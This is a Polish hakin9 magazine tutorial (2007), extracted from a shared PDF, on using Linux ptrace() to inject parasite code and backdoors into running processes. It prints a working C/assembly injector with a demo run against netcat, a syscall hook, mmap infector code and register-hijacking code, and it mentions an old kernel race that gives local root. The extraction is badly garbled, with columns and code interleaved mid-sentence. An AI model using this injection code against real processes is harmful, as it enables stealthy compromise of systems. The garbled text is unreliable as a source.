Hakowanie aplikacji-Rootkity i Ptrace.pdf
(
2355 KB
)
Pobierz
222429231 UNPDF
Hakowanie aplikacji
Rootkity i Ptrace
Atak
Stefan Klaas
stopień trudności
Przede wszystkim muszę zastrzec, że ten tekst jest specyi czny
dla Linuksa i potrzebna jest pewna wiedza o programowaniu w
ANSI C oraz trochę o asemblerze. Było już dawniej parę różnych
technik wstrzykiwania procesu z udziałem, kilka publicznych, jak i
prywatnych
eksploitów
, furtek i innych aplikacji. Przyjrzymy się bliżej
funkcji i nauczymy się, jak pisać własne furtki.
le dostępnych publicznie funkcji
nadpisujących kod. Jest trochę ko-
du w „podziemiu”, który nie jest publicznie
udostępniony z powodu przeterminowania
(10.2006) i nie ma też dobrych dokumen-
tów opisujących tą technikę, dlatego obja-
śnię ją. Jeśli znasz już ptrace(), ten arty-
kuł powinien Cię również zainteresować,
bo zawsze to dobrze jest się nauczyć no-
wych rzeczy, nieprawdaż? Czy to nie fajnie
móc wstawiać furtki prawie każdego rozmia-
ru do pamięci dowolnego procesu, zmienia-
jąc jego wykonanie, nawet na niewykonywal-
ną część stosu? Zatem czytaj czytaj dalej,
bo przedstawię w szczegółach, jak to zro-
bić. Zastrzegam też, że użyłem następują-
cych wersji
gcc
:
Objaśnienie funkcji ptrace()
Funkcja
ptrace()
jest bardzo użyteczna przy
debugowaniu. Używa się jej do śledzenia pro-
cesów.
Wywołanie systemowe
ptrace()
dostar-
cza narzędzia poprzez które proces nadrzęd-
ny może obserwować i kontrolować wykona-
nie innego procesu, a także podglądać i zmie-
niać jego główny obraz i rejestry. Najczęściej
jest używany do zaimplementowania punktów
Z artykułu dowiesz się...
• należy rozumieć wywołanie systemowe
ptrace
();
• używać go w celu zmiany przepływu stero-
wania uruchomionych programów poprzez
wstrzykiwanie własnych instrukcji do pamięci
procesu, przejmując w ten sposób kontrolę nad
uruchomionym procesem.
gcc version 3.3.5 (Debian)
gcc version 3.3.5 (SUSE Linux)
Powinieneś wiedzieć...
Kompilujemy zawsze prostą metodą
gcc i le.c
-o output
; nie trzeba żadnych l ag kompilacji,
toteż nie będę przedstawiać przykładów kom-
pilacji. To powinno być oczywiste. Tyle słowem
wstępu, zaczynamy.
• należy być obytym ze środowiskiem Linuksa,
jak i posiadać zaawansowaną wiedzę o C i pod-
stawową o asemblerze Intel/AT&T.
12
hakin9 Nr 1/2007
www.hakin9.org
D
otychczas nie znaliśmy zbyt wie-
Pisanie własnych furtek
zatrzymania podczas debugowania
i śledzenia wywołań systemowych.
Proces nadrzędny może zainicjo-
wać śledzenie poprzez wywołanie
fork()
i nakazanie procesowi potom-
nemu wykonania
PTRACE _ TRACEME
, a
po nim (zazwyczaj)
exec
. Ewentual-
nie proces nadrzędny może zarzą-
dzić śledzenie istniejącego procesu
z użyciem
PTRACE _ ATTACH
.
Proces potomny, gdy jest śle-
dzony, zatrzyma się za każdym ra-
zem, gdy dostanie sygnał, nawet
jeśli sygnał ma ustawione ignoro-
wanie (poza
SIGKILL
, który kończy
się zawsze tak samo). Proces nad-
rzędny będzie notyi kowany w na-
stępnym miejscu oczekiwania i mo-
że przeglądać i modyi kować pro-
ces potomny, gdy ten jest zatrzy-
many. Proces nadrzędny następnie
każe procesowi potomnemu kon-
tynuować wykonanie, opcjonalnie
ignorując dostarczony sygnał (al-
bo nawet dostarczając mu inny sy-
gnał).
Gdy proces nadrzędny zakoń-
czy śledzenie, może przerwać pro-
ces potomny przez
PTRACE _ KILL
,
albo nakazać kontynuację wykony-
wania w normalnym, nie śledzonym
trybie, przez
PTRACE _ DETACH
. War-
tość podana jako „
request
” okre-
śla akcję, jaka ma być podjęta:
PTRACE _ TRACEME
– oznacza, że ten
proces ma być śledzony przez pro-
ces nadrzędny. Każdy sygnał (po-
za
SIGKILL
) dostarczony do proce-
su spowoduje zatrzymanie, a pro-
ces nadrzędny będzie notyi kowa-
ny w
wait()
. Również każde na-
stępne wywołanie
exec
...
()
przez
ten proces spowoduje dostarczenie
SIGTRAP, umożliwiając procesowi
nadrzędnemu przejęcie kontroli za-
nim nowy program zacznie się wy-
konywać. Proces raczej nie powi-
nien wykonać takiego żądania, jeśli
proces nadrzędny nie oczekuje, że
będzie go śledzić (
pid
,
addr
i data
są ignorowane). To powyższe żą-
danie jest używane tylko przez pro-
ces potomny; pozostałe są używa-
ne tylko przez proces nadrzędny.
W pozostałych żądaniach pid okre-
śla proces potomny, na którym na-
leży działać. Dla żądań innych, niż
Listing 1.
Przykładowy ptrace()-owy wstrzykiwacz
#include
<stdio.h>
#include
<stdlib.h>
#include
<unistd.h>
#include
<asm/unistd.h>
#include
<asm/user.h>
#include
<signal.h>
#include
<sys/stat.h>
#include
<sys/wait.h>
#include
<errno.h>
#include
<linux/ptrace.h>
asm
(
"MY_BEGIN:
\n
"
"call para_main
\n
"
);
/* oznaczamy początek kodu pasożyta */
char
*
getstring
(
void
)
{
asm
(
"call me
\n
"
"me:
\n
"
"popl %eax
\n
"
"addl $(MY_END - me), %eax
\n
"
);
}
void
para_main
(
void
)
{
/* tu się zaczyna główny kod pasożyta
* wpisz co ci się podoba...
* to jest tylko przykład
*/
asm
(
"
\n
"
"movl $1, %eax
\n
"
"movl $31337, %ebx
\n
"
"int $0x80
\n
"
"
\n
"
);
/*
* wykonujemy exit(31337);
* tylko po to, żeby było to widać na strace...
*/
}
asm
(
"MY_END:"
);
/* tu kończy się zawartość pasożyta */
char
*
GetParasite
(
void
)
/* umieść pasożyta */
{
asm
(
"call me2
\n
"
"me2:
\n
"
"popl %eax
\n
"
"subl $(me2 - MY_BEGIN), %eax
\n
"
"
\n
"
);
}
int
PARA_SIZE
(
void
)
{
asm
(
"movl $(MY_END-MY_BEGIN), %eax
\n
"
);
/* weź rozmiar pasożyta */
}
int
main
(
int
argc
,
char
*
argv
[])
{
int
parasize
;
int
i
,
a
,
pid
;
char
inject
[
8000
];
struct
user_regs_struct
reg
;
printf
(
"
\n
[Przykladowy wtryskiwacz ptrace]
\n
"
);
if
(
argv
[
1
]
==
0
)
{
printf
(
"[usage: %s [pid] ]
\n\n
"
,
argv
[
0
]);
exit
(
1
);
}
pid
=
atoi
(
argv
[
1
]);
parasize
=
PARA_SIZE
();
/* liczymy rozmiar */
while
((
parasize
%
4
)
!=
0
)
parasize
++;
/* tworzymy kod do wstrzyknięcia */
{
memset
(&
inject
,
0
,
sizeof
(
inject
));
memcpy
(
inject
,
GetParasite
()
,
PARA_SIZE
());
if
(
ptrace
(
PTRACE_ATTACH
,
pid
,
0
,
0
)
<
0
)
/* podłącz się do procesu */
{
www.hakin9.org
hakin9 Nr 1/2007
13
Atak
Listing 1a.
Przykładowy ptrace()-owy wstrzykiwacz
PTRACE _ KILL
, proces potomny musi
być zatrzymany.
PTRACE _ PEEKTEXT
,
PTRACE _
PEEKDATA
– czyta słowo spod lo-
kacji
addr
w pamięci procesu po-
tomnego, zwracając je jako rezul-
tat
ptrace()
. Linux nie umieszcza
segmentu kodu i segmentu danych
w osobnych przestrzeniach adre-
sowych, więc te dwa wywołania są
aktualnie równoważne (argument
data
jest ignorowany).
PTRACE _ PEEKUSR
– czyta sło-
wo spod przesunięcia addr w prze-
strzeni
USER
procesu potomnego,
który trzyma rejestry i inne informa-
cje o procesie (patrz
<linux/user.h>
i
<sys/user.h>
. Słowo jest zwracane
jako rezultat
ptrace()
. Zwykle prze-
sunięcie musi być wyrównane do
pełnego słowa, może się więc to róż-
nić na różnych architekturach (data
jest ignorowane).
PTRACE _ POKETEXT, PTRACE _
POKEDATA
– kopiuje słowo spod „
da-
ta
” do lokacji
addr
w pamięci proce-
su. Jak wyżej, oba te wywołania są
równoważne.
PTRACE _ POKEUSR
– kopiuje słowo
z
data
pod przesunięcie
addr
w prze-
strzeni
USER
procesu potomnego. Jak
wyżej, przesunięcie musi być wyrów-
nane do pełnego słowa. W celu za-
pewnienia spójności jądra, niektóre
modyi kacje w obszarze
USER
są nie-
dozwolone.
PTRACE _ GETREGS
,
PTRACE _
GETFPREGS
– kopiuje odpowiednio re-
jestry ogólnego przeznaczenia lub
rejestry zmiennoprzecinkowe pro-
cesu potomnego do lokacji
data
w
procesie potomnym. Zobacz
<linux/
user.h>
w celu uzyskania informacji
na temat formatu tych danych (addr
jest ignorowane).
PTRACE _ SETREGS
,
PTRACE _
SETFPREGS
– kopiuje odpowiednio re-
jestry ogólnego przeznaczenia lub
zmiennoprzecinkowe z lokacji
data
w procesie nadrzędnym. Podobnie,
jak w
PTRACE _ POKEUSER
, modyi kacja
niektórych rejestrów ogólnego prze-
znaczenia może być niedozwolona
(addr jest ignorowany).
PTRACE _ CONT
– wznawia wyko-
nywanie zatrzymanego procesu
potomnego. Jeśli wartość
data
jest
Przetestujmy to na terminalu (A):
server
:
~#
gcc
ptrace
.
c
-
W
server
:
~#
nc
-
lp
1111
&
[
1
]
7314
server
:
~# ./
a
.
out
7314
[
Przykladowy
wtryskiwacz
ptrace
]
+
attached
to
proccess
id
:
7314
-
sending
stop
signal
..
+
proccess
stopped
.
-
calculating
parasite
injection
size
..
+
Parasite
is
at
:
0x400fa276
-
detach
..
+
i nished
!
server
:
~#
A teraz na terminalu (B), pokażemy strace-m proces Netcat:
gw1
:
~#
strace
-
p
7314
Process
7314
attached
-
interrupt
to
quit
accept(3,
Wracamy na terminal A i podłączamy się pod zainfekowany proces
Netcat:
server
:
~#
nc
-
v
localhost
1111
localhost
[
127.0
.
0.1
]
1111
(
?
)
open
[
1
]+
Exit
105
nc
-
lp
1111
server
:
~#
Sprawd
ź
my
teraz
,
co
napisa
ł
strace
na
terminalu
B
:
accept
(
3
,
{
sa_family
=
AF_INET
,
sin_port
=
htons
(
35261
)
,
sin_addr
=
inet_addr
(
"127.0.0.1"
)
}
,
[
16
])
=
4
_exit
(
31337
)
=
?
Process
7314
detached
server
:
~#
Listing 1b.
Prosty wstrzykiwacz ptrace()
printf
(
"cant attach to pid %d: %s
\n
"
,
pid
,
strerror
(
errno
));
exit
(
1
);
}
printf
(
"+ attached to proccess id: %d
\n
"
,
pid
);
printf
(
"- sending stop signal..
\n
"
);
kill
(
pid
,
SIGSTOP
);
/* zatrzymaj proces*/
waitpid
(
pid
,
NULL
,
WUNTRACED
);
printf
(
"+ proccess stopped.
\n
"
);
ptrace
(
PTRACE_GETREGS
,
pid
,
0
,
&
reg
);
/* pobierz rejestry */
printf
(
"- calculating parasite injection size..
\n
"
);
for
(
i
=
0
;
i
<
parasize
;
i
+=
4
)
/* wrzuć kod pasożyta pod %eip */
{
int
dw
;
memcpy
(&
dw
,
inject
+
i
,
4
);
ptrace
(
PTRACE_POKETEXT
,
pid
,
reg
.
eip
+
i
,
dw
);
}
printf
(
"+ Parasite is at: 0x%x
\n
"
,
reg
.
eip
);
printf
(
"- detach..
\n
"
);
ptrace
(
PTRACE_CONT
,
pid
,
0
,
0
);
/* wznów proces potomny */
14
hakin9 Nr 1/2007
www.hakin9.org
Pisanie własnych furtek
Listing 1c.
Prosty wstrzykiwacz ptrace()
niezerowa i nie
SIGSTOP
, jest inter-
pretowana jako sygnał, który nale-
ży dostarczyć do procesu; w prze-
ciwnym razie nie jest dostarcza-
ny żaden sygnał. W ten sposób,
na przykład, proces potomny mo-
że kontrolować, czy sygnał wysła-
ny do procesu potomnego był do-
starczony, czy nie (addr jest igno-
rowane).
PTRACE _ SYSCALL
,
PTRACE _ SINGLE
-
STEP
– wznawia wykonywanie zatrzy-
manego procesu potomnego, jak dla
PTRACE _ CONT
, ale zarządza, że pro-
ces potomny będzie zatrzymany od-
powiednio przy następnym wejściu
lub wyjściu z wywołania systemo-
wego, albo wywołaniu pojedynczej
instrukcji (proces potomny zatrzy-
ma się też, jak zwykle, po otrzyma-
niu sygnału). Z punktu widzenia pro-
cesu nadrzędnego, proces potom-
ny będzie wyglądał, jakby został za-
trzymany przez otrzymanie
SIGTRAP
.
Zatem P
TRACE _ SYSCALL
można użyć
w ten sposób, że sprawdzamy argu-
menty przesłane do wywołania sys-
temowego przy pierwszym wołaniu,
a następnie dokonujemy następne-
go
PTRACE _ SYSCALL
i sprawdzamy
wartość zwróconą przez wywołanie
systemowe w następnym zatrzyma-
niu (addr jest ignorowane).
PTRACE _ KILL
– wysyła
SIGKILL
procesowi potomnemu powodując
jego zakończenie (addr i data są
ignorowane).
PTRACE _ ATTACH
– dołącza się do
procesu podanego jako
pid
, powo-
dując że ten proces staje się śle-
dzonym procesem potomnym dla
bieżącego procesu, czyli tak, jak-
by ten „potomny” proces wyko-
nał
PTRACE _ TRACEME
. Bieżący pro-
ces staje się w istocie procesem
nadrzędnym tego
potomnego
pro-
cesu dla niektórych zastosowań
(np. będzie dostawał notyi kacje
zdarzeń procesu potomnego i bę-
dzie widoczny w raporcie
ps
(1) ja-
ko proces nadrzędny tego proce-
su, ale
getppid
(2) w procesie po-
tomnym będzie wciąż zwracać
pid
oryginalnego procesu nadrzędne-
go. Proces potomny dostaje sygnał
SIGSTOP
, ale niekoniecznie zatrzy-
ma się na tym wywołaniu; należy
ptrace
(
PTRACE_DETACH
,
pid
,
0
,
0
);
/* odłącz się od procesu */
printf
(
"+ i nished!
\n\n
"
);
exit
(
0
);
}
}
Listing 2.
Rzut oka na tablicę GOT
[
root
@
hal
/
root
]
# objdump -R /usr/sbin/httpd |grep read
08086
b5c
R_386_GLOB_DAT
ap_server_post_read_coni g
08086
bd0
R_386_GLOB_DAT
ap_server_pre_read_coni g
08086
c0c
R_386_GLOB_DAT
ap_threads_per_child
080869
b0
R_386_JUMP_SLOT
fread
08086
b24
R_386_JUMP_SLOT
readdir
08086
b30
R_386_JUMP_SLOT
read
<--
tu
mamy
nasz
ą
read
()
[
root
@
hal
/
root
]
#
Listing 3.
Przykład sys_write
int
patched_syscall
(
int
fd
,
char
*
data
,
int
size
)
{
// pobieramy wszystkie parametry ze stosu, deskryptor umieszczony
// pod 0x8(%esp), dane pod 0xc(%esp), a rozmiar pod 0x10(%esp)
asm
(
"
movl
$
4
,
%
eax
# oryginalne wywołanie systemowe
movl
$
0x8
(%
esp
)
,
%
ebx
# fd
movl
$
0xc
(%
esp
)
,
%
ecx
# dane
movl
$
0x10
(%
esp
)
,
%
edx
# rozmiar
int
$
0x80
// po wywołaniu przerwania, wartość zwracana zostanie zapisana w %eax
// jeśli chcesz dodać kod za oryginalnym wywołaniem systemowym
// należy zapamiętać gdzie indziej %eax i przywrócić
na końcu
// nie wstawiaj instrukcji 'ret' na koniec!
"
)
Listing 4.
Kod z infektora Ii, znaleziony w internecie, do przydzielania
potrzebnej pamięci
void
infect_code
()
{
asm
(
"
xorl %eax,%eax
push %eax # offset = 0
pushl $-1 # no fd
push $0x22 # MAP_PRIVATE|MAP_ANONYMOUS
pushl $3 # PROT_READ|PROT_WRITE
push $0x55 # mmap() przydziela 1000 bajtów domyślnie, więc
# jeśli potrzeba więcej, oblicz potrzebny rozmiar.
pushl %eax # start addr = 0
movl %esp,%ebx
movb $45,%al
addl $45,%eax # mmap()
int $128
ret
"
);
}
www.hakin9.org
hakin9 Nr 1/2007
15
Atak
użyć
wait
() w celu zaczekania, aż
proces potomy się zatrzyma (addr i
data są ignorowane).
PTRACE _ DETACH
– wznawia zatrzy-
many proces potomny, jak dla
PTRACE _
CONT
, ale uprzednio odłącza się od
procesu, cofając efekt zmiany rodzi-
ca wywołany przez
PTRACE _ ATTACH
i
efekt wywołania
PTRACE _ TRACEME
. Mi-
mo, że niekoniecznie o to może cho-
dzić, pod Linuksem śledzony proces
potomny może zostać odłączony w
ten sposób, niezależnie od metody
użytej do rozpoczęcia śledzenia (addr
jest ignorowany).
Dobrze, nie martw się, nie musisz
wszystkiego rozumieć już teraz. Po-
każę Ci niektóre zastosowania póź-
niej w tym artykule.
programów na sieci i możesz po-
szukać Googlem jakichś progra-
mów w akcji.
Praktyczne
zastosowania
wywołania ptrace()
Zwykle
ptrace()
jest stosowane do
śledzenia procesów w celach debu-
gowych. Może być całkiem poręcz-
ne. Programy
strace
i
ltrace
używa-
ją wywołań
ptrace()
do śledzenia
wykonujących się procesów. Jest
parę interesujących i użytecznych
Czym są pasożyty
Pasożyty są to nie replikowane sa-
modzielnie kody, które wstrzykuje
się do programów przez zainfeko-
wanie ELF-a lub bezpośrednio do
pamięci procesu w czasie jego wy-
konywania, przez
ptrace()
. Główna
różnica zasadza się tu na tym, że in-
fekcja
ptrace()
nie jest rezydentna,
podczas gdy infekcja ELF-a zaraża
plik binarny podobnie jak wirus i po-
zostaje tam nawet po restarcie sys-
temu. Pasożyt wstrzyknięty przez
ptrace()
rezyduje tylko w pamięci,
zatem jeśli proces, na przykład, do-
stanie
SIGKILL
-a, pasożyt wyciągnie
nogi wraz z nim. Ponieważ
ptrace()
jest stosowany do wstrzykiwania ko-
du w trakcie wykonywania procesu,
zatem w oczywisty sposób nie bę-
dzie to kod rezydentny.
Rysunek 1.
Ściągnięcie i kompilacja wstrzykiwacza
Klasyczne
wstrzyknięcie ptrace()
Ptrace()
potrai obserwować i kon-
trolować wykonanie innego procesu.
Jest również władny zmieniać jego
rejestry. Skoro można zatem zmie-
niać rejestry innego procesu, jest to
nieco oczywiste, dlaczego może być
użyty do eksploitów. Oto przykład
starej dziury
ptrace()
w starym ją-
drze Linuksa.
Jądra Linuxa przed 2.2.19 mia-
ły błąd pozwalający uzyskać lokal-
nie
roota
i większość ludzi używa-
jących tego jądra mogła jeszcze go
nie poprawić. W każdym razie ta
dziura wykorzystuje sytuację wyści-
gu w jądrze Linuksa 2.2.x wewnątrz
wywołania systemowego
execve()
.
Wstrzymując proces potomny
przez
sleep()
wewnątrz
execve()
,
atakujący może użyć
ptrace()
lub
podobnych mechanizmów do prze-
jęcia kontroli nad procesem potom-
nym. Jeśli proces potomny ma
se-
tuid
, atakujący może użyć procesu
potomnego do wykonania dowolne-
go kodu na podkręconych prawach.
Znanych jest też kilka innych pro-
blemów bezpieczeństwa związa-
nych z
ptrace()
w jądrze Linuxa
Listing 5.
Przykład, czego potrzeba do funkcji infect_code()
ptrace
(
PTRACE_GETREGS
,
pid
,
&
reg
,
&
reg
);
ptrace
(
PTRACE_GETREGS
,
pid
,
&
regb
,
&
regb
);
reg
.
esp
-=
4
;
ptrace
(
PTRACE_POKETEXT
,
pid
,
reg
.
esp
,
reg
.
eip
);
ptr
=
start
=
reg
.
esp
-
1024
;
reg
.
eip
=
(
long
)
start
+
2
;
ptrace
(
PTRACE_SETREGS
,
pid
,
&
reg
,
&
reg
);
while
(
i
<
strlen
(
sh_code
))
{
ptrace
(
PTRACE_POKETEXT
,
pid
,
ptr
,
(
int
)
*(
int
*)(
sh_code
+
i
));
i
+=
4
;
ptr
+=
4
;
}
printf
(
"trying to allocate memory
\n
"
);
ptrace
(
PTRACE_SYSCALL
,
pid
,
0
,
0
);
ptrace
(
PTRACE_SYSCALL
,
pid
,
0
,
0
);
ptrace
(
PTRACE_SYSCALL
,
pid
,
0
,
0
);
ptrace
(
PTRACE_GETREGS
,
pid
,
&
reg
,
&
reg
);
ptrace
(
PTRACE_SYSCALL
,
pid
,
0
,
0
);
printf
(
"new memory region mapped to..: 0x%.8lx
\n
"
,
reg
.
eax
);
printf
(
"backing up registers...
\n
"
);
ptrace
(
PTRACE_SETREGS
,
pid
,
&
regb
,
&
regb
);
printf
(
"dynamical mapping complete!
\n
"
,
pid
);
ptrace
(
PTRACE_DETACH
,
pid
,
0
,
0
);
return
reg
.
eax
;
16
hakin9 Nr 1/2007
www.hakin9.org
Plik z chomika:
ddwrobel
Inne pliki z tego folderu:
wyscig_pl.pdf
(462 KB)
Wireless_Seguridad_Hakin9.pdf
(1738 KB)
wardriving_tutorial_hakin9.pdf
(1099 KB)
switch_pl.pdf
(2208 KB)
stackoverflow_pl.pdf
(1224 KB)
Inne foldery tego chomika:
CCNA V1
CCNA V2
CCNA V3
CCNA V4
Cisco
Zgłoś jeśli
naruszono regulamin